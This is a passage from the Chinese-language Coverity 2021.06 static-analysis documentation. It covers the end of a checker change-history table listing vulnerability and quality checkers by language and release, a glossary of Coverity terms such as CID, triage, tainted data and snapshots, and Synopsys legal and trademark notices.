	Java	2019.12 2020.03	
	JavaScript	2019.12 2020.03	
	Objective-C	2019.12 2020.03 2020.06	
	Objective-C++	2019.12 2020.03 2020.06	
	TypeScript	2019.12 2020.03	
	Visual Basic	2019.12 2020.03	
OAUTH2_MISCONFIGURATION	Go	2021.06	
ODR_VIOLATION	C++	2020.03	
	CUDA	2020.06	
OPEN_ARGS	CUDA		2020.06
OPEN_REDIRECT	Go		2019.12
	Python 3		2020.12
ORDER_REVERSAL	CUDA		2020.06
OS_CMD_INJECTION	C		2020.03

## 检查器更改历史记录

---

检查器名称	语言	新增	更改
	C++		2020.03
	CUDA		2020.06
	Go		2019.12
	Kotlin		2020.06
	Objective-C		2020.03
	Objective-C++		2020.03
	Python 3		2020.12
OVERFLOW_BEFORE_WIDEN	CUDA		2020.06
OVERLAPPING_COPY	CUDA		2020.06
OVERRUN	C		2020.03
	C++		2020.03
	CUDA		2020.06
	Objective-C		2020.03
	Objective-C++		2020.03
PARSE_ERROR	CUDA		2020.06
PASS_BY_VALUE	C		2020.12
	C++		2020.12
	CUDA		2020.06 2020.12
	Objective-C		2020.12
	Objective-C++		2020.12
PATH_MANIPULATION	C		2020.03
	C++		2020.03
	CUDA		2020.06
	Go		2019.12
	Kotlin		2020.06
	Objective-C		2020.03
	Objective-C++		2020.03
	Python 3		2020.12
PRECEDENCE_ERROR	C	2021.06	
	C++	2021.06	

## 检查器更改历史记录

---

检查器名称	语言	新增	更改
	CUDA	2021.06	
PREDICTABLE_RANDOM_SEED	Kotlin		2020.06
PRINTF_ARGS	CUDA		2020.06
REACT_DANGEROUS_INNERHTML	JavaScript	2019.12	
	TypeScript	2019.12	
READLINK	CUDA		2020.06
REGEX_INJECTION	Kotlin		2021.06
	Python 2		2021.06
	Python 3		2021.06
RESOURCE_LEAK	CUDA		2020.06
RETURN_LOCAL	CUDA		2020.06
REVERSE_INULL	CUDA		2020.06
REVERSE_NEGATIVE	CUDA		2020.06
REVERSE_TABNABBING	JavaScript	2019.12	
	Ruby	2019.12	
	TypeScript	2019.12	
RISKY_CRYPTO	C		2020.06
	C#		2020.06
	C++		2020.06
	CUDA		2020.06
	Go		2019.12 2020.06
	Java		2020.06 2020.12
	JavaScript		2020.06
	Kotlin		2020.06 2020.12
	Objective-C		2020.06
	Objective-C++		2020.06
	Python 2		2020.12
	Python 3		2020.12
	Swift		2020.06
	TypeScript		2020.06

## 检查器更改历史记录

---

检查器名称	语言	新增	更改
	Visual Basic		2020.06
SCRIPT_CODE_INJECTION	Python 3		2020.12
	Visual Basic		2020.06
SECURE_CODING	CUDA		2020.06
SECURE_TEMP	CUDA		2020.06
	Python 2		2021.06
	Python 3		2021.06
SELF_ASSIGN	CUDA		2020.06
SENSITIVE_DATA_LEAK	C		2020.03
	C++		2020.03
	CUDA		2020.06
	Go		2019.12
	Kotlin		2020.03
	Objective-C		2020.03
	Objective-C++		2020.03
	Python 3		2020.12
SIGN_EXTENSION	CUDA		2020.06
SIZECHECK	CUDA		2020.06
SIZEOF_MISMATCH	CUDA		2020.06
SLEEP	CUDA		2020.06
	Go		2020.03
SOCKET_ACCEPT_ALL_ORIGINS	Go	2021.06	
	JavaScript	2021.06	
	TypeScript	2021.06	
SQLI	C		2020.03
	C++		2020.03
	CUDA		2020.06
	Go		2019.12
	Kotlin		2020.06
	Objective-C		2020.03
	Objective-C++		2020.03

## 检查器更改历史记录

---

检查器名称	语言	新增	更改
	Python 3		2020.12
STACK_USE	CUDA		2020.06
STATIC_API_KEY	Go	2021.06	
STRAY_SEMICOLON	CUDA		2020.06
STREAM_FORMAT_STATE	CUDA		2020.06
STRING_NULL	CUDA		2020.06
STRING_OVERFLOW	CUDA		2020.06
STRING_SIZE	CUDA		2020.06
SUPPRESSED_ERROR	Go	2021.06	
SWAPPED_ARGUMENTS	CUDA		2020.06
TINTED_ENVIRONMENT_WITH_EXECUTION	Go		2019.12
TINTED_SCALAR	C		2019.12
	C++		2019.12
	CUDA		2020.06
	Objective-C		2019.12
	Objective-C++		2019.12
TINTED_STRING	CUDA		2020.06
TEMPLATE_INJECTION	Go		2019.12
	Python 2		2021.06
	Python 3		2021.06
	Ruby		2021.06
TEMPORARY_CREDENTIALS_DURATION	JavaScript	2020.03	
	TypeScript	2020.03	
TOCTOU	CUDA		2020.06
UNCAUGHT_EXCEPT	CUDA		2020.06
UNENCRYPTED_SENSITIVE_DATA	CUDA		2020.06
	Kotlin		2020.06
	Visual Basic		2020.12
UNEXPECTED_CONTROL_FLOW	CUDA		2020.06
UNINIT	CUDA		2020.06
UNINITCTOR	C++		2020.06
	CUDA		2020.06

## 检查器更改历史记录

---

检查器名称	语言	新增	更改
	Objective-C ++		2020.06
UNINIT_NONNULL	Java	2021.06	
UNINTENDED_INTEGER_DIVISION	CUDA		2020.06
UNLESS_CASE_SENSITIVE_ROUTE_MATCHING	JavaScript	2019.12	
	TypeScript	2019.12	
UNLIMITED_CONCURRENT_SESSIONS	Java	2020.06	
UNLOGGED_SECURITY_EXCEPTION	C#		2021.06
	Java		2021.06
	Kotlin		2021.06
	Visual Basic		2021.06
UNREACHABLE	CUDA		2020.06
UNRESTRICTED_ACCESS_TO_FILE	Java		2020.06
	Kotlin		2020.06
UNSAFE_BASIC_AUTH	Go		2021.06
UNSAFE_BUFFER_METHOD	JavaScript	2020.06	
	TypeScript	2020.06	
UNSAFE_DESERIALIZATION	Kotlin		2020.06
	Python 3		2020.12
UNSAFE_FUNCTIONALITY	Go	2021.06	
UNSAFE_JNI	Kotlin		2021.06
UNSAFE_XML_PARSE_CONFIG	C#		2021.06
	CUDA		2020.06
	Python 2		2021.06
	Python 3		2021.06
UNUSED_VALUE	CUDA		2020.06
URL_MANIPULATION	C		2020.03
	C++		2020.03
	CUDA		2020.06
	Go		2019.12
	Kotlin		2020.06
	Objective-C		2020.03

## 检查器更改历史记录

---

检查器名称	语言	新增	更改
USELESS_CALL	Objective-C++		2020.03
	Python 2		2020.12
	Python 3		2020.12
USER_POINTER	CUDA		2020.06
USE_AFTER_FREE	CUDA		2020.06
VARARGS	CUDA		2020.06
VCALL_INCTOR_DTOR	CUDA		2020.12
VERBOSE_ERROR_REPORTING	Java	2020.09	
VIRTUAL_DTOR	CUDA		2020.06
WEAK_GUARD	CUDA		2020.06
WEAK_PASSWORD_HASH	CUDA		2020.06
	Kotlin		2020.06
	Python 2		2021.06
	Python 3		2020.12
WEAK_URL_SANITIZATION	Java		2020.12
	JavaScript	2020.06	
	Python 2		2021.06
	Python 3		2021.06
	TypeScript	2020.06	
WEAK_XML_SCHEMA	Java	2020.12	
WRAPPER_ESCAPE	CUDA		2020.06
WRITE_CONST_FIELD	C	2020.12	
	C++	2020.12	
	CUDA	2020.12	
XML_EXTERNAL_ENTITY	Go		2019.12
	Kotlin		2020.06
	Python 3		2020.12
XML_INJECTION	Python 2		2021.06
	Python 3		2021.06
	Visual Basic		2020.09
XPATH_INJECTION	C		2020.03

## 检查器更改历史记录

---

检查器名称	语言	新增	更改
	C++		2020.03
	CUDA		2020.06
	Go		2020.12
	Kotlin		2021.06
	Objective-C		2020.03
	Objective-C++		2020.03
XSS	Go		2019.12
	Python 3		2020.12
Y2K38_SAFETY	C	2020.09	
	C++	2020.09	
	CUDA	2020.09	

---

## 附录 J. Coverity 术语表

### 目录

术语表 .....	1126
-----------	------

## 术语表

### A

抽象语法树 (AST)	树状数据结构，是源代码的具体输入语法的结构表现形式。
操作	在 Coverity Connect 中，是指用于分类 CID 的可自定义属性。默认值为“未确定”(Undecided)、“需要修复”(Fix Required)、“提交修复”(Fix Submitted)、“需要建模”(Modeling Required) 和“忽略”(Ignore)。也可以使用其他自定义值。
非循环路径数	<p>函数中执行路径的数量，循环最多计为一次。还会进行以下假设：</p> <ul style="list-style-type: none"><li>• <code>continue</code> 打破循环。</li><li>• <code>while</code> 和 <code>for</code> 循环只执行 0 或 1 次。</li><li>• <code>do...while</code> 循环只执行一次。</li><li>• 跳到源代码中早期已经执行过的位置的 <code>goto</code> 语句视为退出。</li></ul> <p>非循环（仅限语句）路径数增加以下假设：</p> <ul style="list-style-type: none"><li>• 不计算表达式内的路径。</li><li>• 同一个语句中的多个 <code>case</code> 标签被计为一个 <code>case</code>。</li></ul>
高级分类	在 Coverity Connect 中，与同一关联的数据流始终共用相同的分类数据和历史记录。例如，如果数据流 A 和数据流 B 均与分类数据库 1 关联，并且两个数据流都包含 CID 123，则这两个数据流将共用该 CID 的分类值（如共用的“程序缺陷”[Bug] 分类或“需要修复”[Fix Required] 操作），而不管数据流是否属于相同的项目。
	在 Coverity Connect 项目中分类 CID 时，高级分类允许您选择一个或多个准备更新的分类数据库。仅当以下条件成立时，才能选择分类数据库。
	<ul style="list-style-type: none"><li>• 项目中的某些数据流与一个分类数据库关联（例如 TS1），项目中的另一些数据流与另一个分类数据库关联（例如 TS2）。在这种情况下，与 TS1 关联的部分数据流必须包含您要分类的 CID，另一些与 TS2 关联的数据流也必须包含该 CID。</li><li>• 有权限对其中多个分类数据库中的问题进行分类。</li></ul>

在某些情况下，高级分类可能会导致 Coverity Connect 中的 CID 具有“混合”(Various) 状态的问题属性。

另请参阅分类。

### 分析注解

源代码中的标记。分析注解不可执行，但会以某种方式修改 Coverity Analysis 的行为。

分析注解可以抑制误报，指示敏感数据并增强函数模型。

每种语言都有自己的分析注解语法和功能集。这些与支持注解的其他语言使用的语法或功能不同。

- 对于 C/C++，分析注解是具有特殊格式的注释。请参阅代码行注解和函数注解。
- 对于 C# 和 Visual Basic，分析注解使用原生 C# 属性语法。
- 对于 Java，分析注解使用原生 Java 注解语法。

其他语言不支持注解。

### 注解

请参阅分析注解。

### 审计

一种被认为比“低”更低的安全级别，由某些 Coverity 检查器报告。审计问题报告的数据源或代码模式可能表明存在漏洞，但漏洞证据不完整。

## C

### 调用关系图

将函数作为节点，将函数之间的调用关系作为边缘的关系图。

### 类别

请参阅问题类别。

### 检查器

遍历源代码中的路径来查找具体问题的程序。检查器的示例包括：RACE\_CONDITION、RESOURCE\_LEAK 和 INFINITE\_LOOP。有关检查器的详情，请参阅 Coverity 2021.06 检查器说明书。

### 检查器类别

请参阅问题类别。

### 变动

衡量 Coverity Analysis 两个发行版（次版本号有差别，例如 6.5.0 和 6.6.0）之间缺陷报告的变化。

### CID ( Coverity 标识符 )

请参阅 Coverity 标识符 (CID)。

### 分类

为缺陷数据库中软件问题指定的类别。内置的分类值包括“未分类”(Unclassified)、“待定”(Pending)、“误报”(False Positive)、“特意”(Intentional) 和“程序缺陷”(Bug)。对于 Test Advisor 问题，分类包括“未测试”(Untested)、“不需要测试”(No Test Needed) 和“外部测试”(Tested Elsewhere)。被分类为“未分类”(Unclassified)、“待定”(Pending) 和“程序缺陷”(Bug) 的问题均被视为软件问题，用于计算缺陷密度。

## Coverity 术语表

---

代码行注解	对于 C/C++，是适用于特定代码行的分析注解。当遇到代码行注解时，分析引擎将跳过缺陷报告，否则将触发下一行代码。  默认情况下，忽略的缺陷归类为“特意”( Intentional )。请参阅《Coverity 检查器说明书》中的“C/C++ 模型和注解”。  另请参阅函数注解。
代码库	一组相关的源文件。
代码覆盖率	被测试的代码占总代码的比例。代码覆盖率可以采用多种方式衡量：行覆盖率、路径覆盖率、语句覆盖率、决策覆盖率、条件覆盖率等等。
遵从性偏差	对与特定编码标准检查器强制执行的规则相关联的缺陷的抑制。  输出文件 <code>deviations.txt</code> 列出注解的偏差， <code>deviations-warnings.txt</code> 包含关于不匹配计数和未使用的偏差的警告。  有关更多信息，请参阅《Coverity 检查器说明书》中的第 5 章第 1 节。
组件	一组指定的源代码文件。例如，组件允许开发人员仅查看源文件中他们负责的问题。在 Coverity Connect 中，这些文件通过 Posix 正则表达式进行指定。另请参阅组件映射。
组件映射	描述如何将源代码文件以及这些源文件中包含的问题映射到组件。
控制流图	将没有跳转的代码块或跳转目标作为节点，将控制流中代码块之间的跳转作为有向边的图形。入口块是控制流进入图的位置，出口块是控制流离开图的位置。
Coverity 标识符 (CID)	为软件问题分配的标识号。快照包含问题实例（或相同项），它（们）在特定的文件版本中针对特定的代码路径产生。不管是一个快照中还是多个快照中（甚至是在不同的数据流中）的问题实例，都根据相似性分组到一起，以便指明两个问题是“相似的”，如果相同的源代码发生变化，则同时修复两者。这些相似问题组将获得一个数字标识符，称为 CID。Coverity Connect 将分类数据（如分类、操作和严重性）与 CID（而不是单个问题）相关联。
CWE ( CWE 缺陷库 )	社区开发的软件缺陷列表，其中每个缺陷都有指定的编号（有关示例，请参阅 <a href="http://cwe.mitre.org/data/definitions/476.html">http://cwe.mitre.org/data/definitions/476.html</a> 上的 CWE-476）。Coverity 将许多缺陷类别（如“Null 指针解引用”[Null pointer dereferences]）与 CWE 编号相关联。
Coverity Connect	允许开发人员和管理人员识别、管理和修复 Coverity 分析和第三方工具发现的问题的 Web 应用程序。
D	
数据目录	包含 Coverity Connect 数据库的目录。分析之后，cov-commit-defects 命令会将缺陷存储在该目录中。您可以使用 Coverity Connect 来查看该目录中的缺陷。另请参阅中间目录。

## Coverity 术语表

---

无用代码	无论给程序提供什么输入值，都无法执行的代码。
缺陷	请参阅问题。
确定性	函数或算法的一个特点，如果为它们输入相同的值，它们总是输出相同的值。
偏差	请参阅遵从性偏差。
忽略的问题	开发人员在“分类”(Triage) 窗格中标记为“特意”(Intentional) 或“误报”(False Positive) 的问题。当此类问题在代码库的最新快照中消失后，它们会被标识为“显式忽略”(absent dismissed)。
域	分析的语言与分析类型的组合，如静态或动态。
动态分析	通过执行编译程序实现的软件代码分析。另请参阅静态分析。
动态分析代理	Dynamic Analysis 的 JVM 代理，可以对程序执行插桩以收集缺陷的运行时证据。
动态分析数据流	快照的有序集合，其中每个快照包含在本次调用 Dynamic Analysis 代理期间 Dynamic Analysis 报告的所有问题。

## E

事件	在 Coverity Connect 中，软件问题包含一个或多个由分析发现的事件。事件在解释问题发生的上下文时非常有用。另请参阅问题。
----	---------------------------------------------------------------------

## F

漏报	源代码中未被 Coverity Analysis 发现的缺陷。
不可行路径剪枝 (FPP)	用于确保只检测可行路径上的缺陷的一种技术。例如，如果特定路径可通过某方法确保指定的条件为真，则测试该条件的 <code>if</code> 语句的 <code>else</code> 分支将不予执行。在 <code>else</code> 分支中不可能发现任何缺陷，因为它们都在“不可行路径上”。不可行路径剪枝抑制此类缺陷。
误报	被 Coverity Analysis 识别为可疑缺陷，但是用户认为不是缺陷的问题。在 Coverity Connect 中，用户可以将此类问题忽略为误报。用户也可以在源代码分析阶段，在将分析结果发送给 Coverity Connect 之前，在 C 或 C++ 源代码中使用代码行注解将此类问题标识为“特意”(intentional)。
已修复问题	在先前的快照中出现，但在最新的快照中没有出现的问题。
定点	扩展 SDK 引擎发现，通过循环的第二个和后续路径与第一个迭代没有显著不同，则停止对循环的分析。该条件称为循环的定点。
流非敏感分析	无状态的检查器。按任何特定顺序都不能访问抽象语法树。

## Coverity 术语表

---

函数注解	对于 C/C++，是适用于特定函数的定义的分析注解。该注解可以抑制或增强该函数模型的效果。请参阅《Coverity 检查器说明书》中的“C/C++ 模型和注解”。
函数模型	不在代码库中的函数的模型，可以增强 Coverity Analysis 使用的代码库的中间表示，以更准确地分析缺陷。
影响	旨在表明问题修复紧迫程度的术语，主要考虑问题对软件质量和安全性的影响，但也考虑检查器的准确性。影响具有必然的概率性和主观性，因此不应完全依靠它区分优先级。
被检查的问题	已被开发人员分类或修复的问题。
中间目录	在许多命令中使用 <code>--dir</code> 选项进行指定的目录。该目录的主要功能是在将构建和分析结果作为快照提交到 Coverity Connect 数据库之前写入构建和分析结果。其他支持 <code>--dir</code> 选项的多个专门命令，也可以将数据写入该目录，或从该目录中读取数据。
	构建的中间表示存储在 <code>&lt;intermediate_directory&gt;/emit</code> 目录中，而分析结果存储在 <code>&lt;intermediate_directory&gt;/output</code> 中。该目录可以包含多种语言的构建和分析结果。
	另请参阅数据目录。
中间表示	Coverity 编译器的输出，Coverity Analysis 用该输出来运行分析并检查缺陷。代码的中间表示存储在中间目录中。
全局分析	根据函数之间的交互分析缺陷。Coverity Analysis 使用调用关系图来执行此类型的分析。另请参阅局部分析。
局部分析	在单个程序或函数内分析缺陷，与全局分析相反。
问题	Coverity Connect 显示三种软件问题：质量缺陷、潜在安全漏洞和测试策略冲突。某些检查器可以同时查找质量缺陷和潜在安全漏洞，而有些检查器主要查找一种问题。Coverity Connect 中的质量、安全和 Test Advisor 仪表板针对每种问题提供概括性度量。
	请注意，本术语表包括多种问题的附加条目，例如被检查的问题、问题类别等。
问题类别	用于描述软件问题性质的字符串；有时称为“检查器类别”或简称为“类别”。问题属于软件问题的子类别，检查器可以在给定域的上下文中报告此问题。
	示例：
	<ul style="list-style-type: none"><li>Memory - corruptions</li></ul>

- Incorrect expression
- Integer overflow Insecure data handling

Coverity 2021.06 检查器说明书中的影响表列出了检查器根据问题类别和其他关联的检查器属性发现的问题。

## K

### killpath

对于 Coverity Analysis for C/C++，是指函数中终止程序执行的路径。有关在系统中已经建模的函数，请参阅 <install\_dir\_sa>/library/generic/common/killpath.c。

对于 Coverity Analysis for Java，与 C# 和 Visual Basic 相似，是指用于表明在此点终止执行的建模原语，阻止分析继续沿着该执行路径执行。它可以用来针对终止进程（如 System.exit）的原生方法建模，或特意将执行路径标记为无效。

### 类型

用于表明指定的检查器发现的软件问题是属于 SECURITY（安全问题）、QUALITY（质量问题）、TEST（与开发人员测试相关的问题，通过 Test Advisor 发现）还是 QUALITY/SECURITY 的字符串。有些检查器可以报告质量和安全问题。Coverity Connect UI 可以使用该属性来过滤和显示 CID。

## L

### 最新状态

最新快照中的 CID 状态，其由先前各个快照（从状态为“新增”(New) 的快照开始）中的状态合并而成。

### 本地分析

通过 Coverity Desktop 插件对代码库的一部分进行全局分析，与 Coverity Analysis 分析（通常在远程服务器上执行）相反。

### 本地作用

作为通用事件消息的字符串，用于说明检查器报告缺陷的原因。该消息以检查器可以检测到的软件问题的子类别为基础。此类字符串显示在指定 CID 的 Coverity Connect 分类窗格中。

示例：

- May result in a security violation.
- There may be a null pointer exception, or else the comparison against null is unnecessary.

### 详细描述

提供软件问题详细描述的字符串（请与类型做对比）。详细描述显示在指定 CID 的 Coverity Connect 分类窗格中。在 Coverity Connect 中，该描述后面会有一个链接，指向相应的 CWE（如果可用）。

示例：

## Coverity 术语表

---

- The called function is unsafe for security related code.
- All paths that lead to this null pointer comparison already dereference the pointer earlier (CWE-476).

## M

### 模型

在编译语言（如 C、C++、C#、Java 或 Visual Basic）的代码的 Coverity Analysis 中，模型表示应用程序源中的函数。模型用于全局分析。

各个模型都在分析每个函数时创建。模型是执行时函数行为的抽象；例如，模型可以显示函数解引用了哪些参数，以及函数是否返回 null 值。

可以为代码库编写自定义模型。自定义模型可以帮助提高 Coverity 检测某些类型的程序缺陷的能力。自定义模型还可以帮助减少误报的发生。

### 建模原语

编写自定义模型时使用建模原语。每个建模原语都是一个 stub 函数：它没有指定任何可执行代码，但是在自定义模型中使用时，它会指示 Coverity Analysis 如何分析（或避免分析）正在建模的函数。

例如，C/C++ 检查器 CHECKED\_RETURN 与建模原语 `_coverity_always_check_return_()` 相关联。该原语告诉 CHECKED\_RETURN 验证所分析的函数确实返回了值。

一些建模原语是通用的，但大多数是特定于特定检查器或一组检查器的。可用的建模原语集因语言而异。

## N

### 本机构建

软件开发环境中的正常构建过程，不涉及 Coverity 产品。

## O

### 现存未解决问题

未被检查的和未解决的问题。

### 现存未解决的缺陷数

安全和非安全缺陷总数。

### 现存非安全缺陷数

非安全缺陷总数。

### 现存安全缺陷数。

安全缺陷总数。

### 所有者

在 Coverity Connect 中分配到问题的用户的用户名。Coverity Connect 将尚未分配给用户的问题的所有者标识为“未分配”(Unassigned)。

## P

### 后序遍历

按顺序对指定节点的子项进行递归访问，然后对节点本身进行访问。由于左侧成为整个赋值表达式的值，所以表达式的左侧在赋值后要进行评估。

## Coverity 术语表

---

原语	在 Java 语言中，诸如字符串和整数之类的基本数据类型被称为原语类型。（在 C 语系中，此类类型通常被称为基本类型）。
	对于在构建自定义模型时可以使用的 stub 函数，请参阅建模原语。
项目	在 Coverity Connect 中，表示一组指定的相关数据流，用于全面展示代码库中的问题。
<h2>R</h2>	
已解决的问题	开发人员已修复或在 Coverity Connect“分类”(Triage) 窗格中标记为“特意”(Intentional) 或“误报”(False Positive) 的问题。
轮	在 Coverity 4.5.x 或更低发行版中，是指提交给 Coverity Connect 的一组缺陷。每次使用 cov-commit-defects 命令将缺陷插入到 Coverity Connect 中，都会创建一个新轮，并报告轮 ID。另请参阅snapshot
<h2>S</h2>	
净化	清理或验证被污染的数据，以确保数据是有效的。净化被污染的数据是确保安全编码的重要方面，目的是消除系统崩溃、损坏、特权扩大或拒绝服务。另请参阅被污染的数据。
严重性	在 Coverity Connect 中，是指可以分配给 CID 的一种可自定义属性。默认值为“未指定”(Unspecified)、“严重”(Major)、“中等”(Moderate) 和“轻度”(Minor)。严重性通常用于指定缺陷的严重程度。
数据消费者	对于 Coverity Analysis for C/C++：指必须防止受被污染的数据破坏的任何操作或函数。示例包括数组下标、system()，malloc()。
	对于 Coverity Analysis for Java：指必须防止受被污染的数据破坏的任何操作或函数。示例包括数组下标和 JDBC API Connection.execute。
snapshot	在开发期间的特定时刻，代码库状态的副本。快照可帮助隔离开发人员在开发期间引入的缺陷。
	快照包含分析的结果。快照既包括问题信息，又包括从中发现问题的源代码。如果您提交了错误数据，或您提交的数据仅用于测试目的，Coverity Connect 允许您删除快照。
快照范围	确定使用“显示”(Show) 和可选的“比较对象”(Compared To) 字段从哪些快照中列出 CID。显示和比较的范围只能在“问题：按快照”(Issues:By Snapshot) 视图中的“设置”(Settings) 菜单中，以及在“快照”(Snapshots) 视图中的快照信息窗格中进行配置。
源	不受信任数据的入口点。示例包括环境变量、命令行参数、传入网络数据和源代码。
静态分析	不执行编译程序而实现的软件代码分析。另请参阅动态分析。

## Coverity 术语表

---

**状态** 描述问题的状态。采用以下值之一：“新增”(New)、“已分类”(Triaged)、“已忽略”(Dismissed)、“显式忽略”(Absent Dismissed) 或“已修复”(Fixed)。

**存储** 抽象语法树到整数值和一系列事件的映射。该映射可用于执行在流敏感分析中实现的抽象解释器。

**数据流** 快照的有序集合。因此，数据流可以在一段时间内以及在开发过程的特定时间点提供有关软件问题的信息。

## T

**被污染的数据** 用户输入到程序中的任何数据。程序对输入的值没有控制，因此在使用此数据之前，程序必须净化数据以消除系统崩溃、损坏、特权扩大或拒绝服务。另请参阅净化。

**编译单元** 编译单元是可以单独编译的最小代码单元。此单元是什么主要取决于语言：例如，Java 编译单元是单个源文件，而 C 或 C++ 编译单元是一个源文件加上该源文件包含的所有其他文件（例如标头）。

当 Coverity 工具捕获要分析的代码时，生成的中间目录会包含编译单元的集合。该集合包括源文件，以及构成编译上下文的其他文件和信息。例如，在 Java 中，此上下文包含类路径中的字节码文件；在 C 或 C++ 中，此上下文既包含预处理器定义，又包含有关该编译器的平台信息。

**triage** 设置特定数据流中问题状态的流程，或设置多个数据流中发生的问题的状态的流程。这些用户定义的状态反映了一些信息，如问题的严重性如何、问题是否为预期结果（误报）、应针对问题采取的操作、应将问题分配给谁等等。这些详情提供了对您产品的跟踪信息。Coverity Connect 为您提供了一种机制，允许您针对一个或多个数据流中存在的单个和多个问题更新此信息。

另请参阅高级分类。

**分类数据库** CID 当前或历史分类值的本地仓库。在 Coverity Connect 中，每个数据流必须与单个分类数据库相关联，以便用户分类在数据流中发现的问题（CID 实例）。在 Coverity Connect 项目中分类 CID 时，高级分类允许您选择一个或多个准备更新的分类数据库。

另请参阅高级分类。

**类型** 通常针对软件问题的根本原因或潜在影响提供简短描述的字符串。此描述属于软件问题的子类别，检查器可以在给定域的范围内发现此描述。此类字符串显示在 Coverity Connect 分类窗格的顶部，与该问题关联的 CID 旁边。请与详细描述做对比。

**示例：**

```
The called function is unsafe for security related code
```

## Coverity 术语表

---

Dereference before null check

Out-of-bounds access

Evaluation order violation

Coverity 2021.06 检查器说明书中的影响表列出了检查器根据问题类型和其他关联的检查器属性发现的问题。

### U

#### 统一问题

在多个数据流中发生的同样的问题。同样的统一问题的每个实例共用相同的 CID。

#### 未被检查的问题

因为开发人员尚未对其分类，而在 Coverity Connect 中仍为未分类状态的问题。

#### 未解决的问题

开发人员在 Coverity Connect“分类”(Triage) 窗格中标记为“待定”(Pending) 或“程序缺陷”(Bug) 的缺陷。Coverity Connect 有时将这些问题称为“现存未解决”(Outstanding) 问题。

### V

#### 混合

Coverity Connect 在两种情况下使用“混合”(Various) 一词：

- 当检查器被同时分类为质量和安全检查器时。例如，USE\_AFTER\_FREE 和 UNINIT 在“视图”(View) 窗格的“问题类型”(Issue Kind) 列中被列为此类检查器。有关详情，请参阅《Coverity 2021.06 检查器说明书》。
- 当相同 CID 的不同实例分类不同时。在项目范围内，如果多个数据流与不同的关联，不同数据流中发生的指定 CID 的实例可以具有不同的指定分类属性值。例如，您可能会在一个分类数据库中使用高级分类将 CID 分类为“程序缺陷”(Bug)，但是在另一个分类数据库中为 CID 保留默认的“未分类”(Unclassified) 设置。在此类情况下，Coverity Connect 的“视图”(View) 窗格会在项目范围内将 CID 分类标识为“混合”(Various)。

请注意，如果所有数据流共用一个分类数据库，则您绝不会遇到此分类状态的 CID。

#### 视图

在指定项目中为 Coverity Connect 数据保存的查询。通常，这些查询会被过滤。Coverity Connect 会在数据表中显示该查询结果（位于 Coverity Connect“视图”[View] 窗格中）。这些表中的列可能包括 CID、文件、快照、检查器名称、日期和许多其他数据类型。

---

# 附录 K. Coverity 法律声明

## 目录

K.1. 法律声明 .....	1136
-----------------	------

### K.1. 法律声明

本文档包含的信息以及 Synopsys 提供的许可产品均是 Synopsys, Inc. 及其附属机构和许可方的专有和机密信息，应受 Synopsys 及其客户先前接受的许可协议的条款和条件的约束，并且只允许 Synopsys 客户按照此协议使用。Synopsys 现行的标准最终用户许可条款和条件包含在 cov\_EULM 文件中（位于 <install\_dir>/doc/en/licenses/end\_user\_license）。

本文档描述的产品的某些部分使用了第三方资料。关于第三方资料的声明、条款和条件以及版权信息可在 <install\_dir>/doc/en/licenses 目录中找到。

客户确认只能在有限的许可期限内使用 Synopsys 提供的验证密钥激活 Synopsys 许可产品。该期限结束后，验证密钥将过期。您同意不会采取任何措施来规避或替代这些许可限制，或超过许可期限使用该许可产品。任何试图这样做的行为都将被视为侵犯知识产权，可能会引起法律诉讼。

如果 Synopsys 已在本文档或双方都接受的单独许可协议中授权给您，允许您分发包含 Synopsys 注解的 Java 源，则您的分发应包含 Synopsys 的 analysis\_install\_dir/library/annotations.jar 以确保明确的编译。此 annotations.jar 文件包含 Synopsys 拥有的专有知识产权。我们允许拥有 Synopsys 许可产品有效许可证的 Synopsys 客户按照 Synopsys 签发的此类有效许可证的条款分发包含 Synopsys 许可产品已分析源的此 JAR 文件。任何授权分发都必须包含以下版权声明：版权所有 © 2021, Synopsys, Inc. 在全球保留所有权利。

美国政府的限制性权利：该软件及关联文档都设置了限制性权利。美国政府的使用、分发或披露均应遵守 DFARS 252.227-7013 中“技术数据和计算机软件中的权利”条款中的第 (c)(1) 项，或 48 CFR 52.227-19 中“商业计算机软件 - 限制性权利”条款中的第 (c)(1) 和 (2) 项（如果适用）中所规定的限制。

制造商：Synopsys, Inc.；地址：加利福尼亚州山景城米德尔菲尔德路 690 E 号；邮递区号：94043。

称为 Coverity 的许可产品受多个专利以及正在申请的专利的保护，包括美国专利号 7,340,726。

#### 商标声明

Coverity 和 Coverity 徽标是 Synopsys, Inc. 在美国和其他国家/地区的商标或注册商标。Synopsys 的商标只能在 Synopsys 许可下公开使用。在 Synopsys 许可产品广告和促销中合理使用 Synopsys 商标必须获得适当授权。

Microsoft、Visual Studio 和 Visual C# 是 Microsoft Corporation 在美国和/或其他国家/地区的商标或注册商标。

Microsoft Research Detours Package 版本 3.0。

版权所有 © Microsoft Corporation。保留所有权利。

Oracle 和 Java 是 Oracle 和/或附属公司的注册商标。其他名称可能是其各自所有者的商标。

“MISRA”、“MISRA C”和 MISRA 三角形徽标是 MISRA Ltd 的注册商标（代表 MISRA Consortium 拥有）。© MIRA Ltd, 1998 - 2013。保留所有权利。FindBugs 名称和 FindBugs 徽标是美国马里兰大学的商标。

其他名称和品牌可能被声明为其他所有者的财产。

该许可产品包含依据单独的许可条款（以下称为“开源许可条款”）提供的开源或社区源软件（以下称为“开源软件”），详见提供该许可产品许可的适用许可协议（以下称为“协议”）。适用的“开源许可条款”位于该许可产品交付包中的 `licenses` 目录下。关于所有受 LGPL 许可条款约束的开源软件，客户可以通过电子邮件联系 Synopsys（地址为 `software-integrity-support@synopsys.com`），Synopsys 将遵守 LGPL 条款，按照适用的 LGPL 许可以源代码格式为客户提供适用的所请求开源软件包以及此类开源软件包的任何修订。该许可产品中提供的受 GPLv3 许可条款和条件及其“开源许可条款”约束的任何开源软件，都将按照 GPLv3 的第 5 条规定作为纯 GPL 代码与 Synopsys 的专有代码集成在一起。此类开源软件是独立的自成体系的程序，与 Synopsys 代码不混合，与 Synopsys 专有代码没有交互。相应地，组成该许可产品的 GPL 代码和 Synopsys 专有代码共同存在于相同的媒介上，但是并不一起运行。客户可以通过电子邮件联系 Synopsys（地址为 `software-integrity-support@synopsys.com`），Synopsys 将遵守 GPL 条款，按照 GPLv3 许可的条款和条件以源代码格式为客户提供适用的所请求开源软件包。Synopsys 选择提供给客户的任何 Synopsys 专有代码都不会以源代码形式提供；而是仅以可执行文件形式提供。客户对该许可产品（包括对开源软件）的任何修改都将使 Synopsys 在本协议下的所有义务失效，包括但不限于保修、维护服务和侵权赔偿责任。

